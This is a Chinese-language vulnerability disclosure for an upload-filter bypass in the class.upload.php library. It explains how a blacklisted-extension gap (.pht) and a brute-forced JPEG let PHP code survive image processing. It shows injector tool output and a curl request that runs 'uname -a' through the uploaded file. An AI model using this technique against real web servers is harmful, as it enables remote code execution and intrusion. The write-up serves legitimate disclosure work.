这是一个过滤器绕过漏洞,导致任意文件上传和远程代码执行。 class.upload.php 脚本会过滤“危险文件和内容”并将其重命名为 txt 扩展名。 它还会对上传的图像进行不同类型的转换,这通常会破坏任何注入的有效载荷,即使文件扩展名过滤器可以被绕过。
文件扩展名过滤器是一个黑名单,因此每当引入新的扩展名(本例中为 pht),或遗漏了某个扩展名时,就可以上传 PHP 文件。 但内容仍然必须是一张有效的图像,并且仍然会经过 imagecreatefromjpeg 及类似函数的处理。 为此,我编写了 inject.php 脚本,它基本上会通过暴力尝试不同的图像,直到找到一个有效载荷不会被 class.upload.php 处理过程破坏的图像。这实质上为我们提供了任意文件上传功能,并且由于它仍然是一张有效图像,在页面上会像普通图像一样显示,从而实现非常隐蔽的代码执行。
inject.php 脚本很快会被重写,成为针对此类攻击的更通用工具,但现在它仅作为独立脚本包含在此类 CVE 发布中。
upload.php 脚本是 verot.net 的 GitHub 上的示例代码。 我认为最好使用他们自己的示例代码来演示此漏洞。
user@ayu:/var/www/html# php inject.php
-=Imagejpeg injector 1.8=-
[+] 从 http://lorempixel.com/100/100/ 获取图像 (100 X 100)
[+] 跳转到末尾字节
[+] 搜索有效的注入点
[!] 临时解决方案:如果在此处收到 'recoverable parse error',表示可能失败
[+] 看起来成功了!
[+] 结果文件:image.jpg.pht
user@ayu:/var/www/html# curl -v -o - http://localhost/images/image_resized.phar?c=uname%20-a | grep -aPo "(Linux.*GNU)"
Linux ayu 5.0.0-36-generic #39-Ubuntu SMP Tue Nov 12 09:46:06 UTC 2019 x86_64 x86_64 x86_64 GNU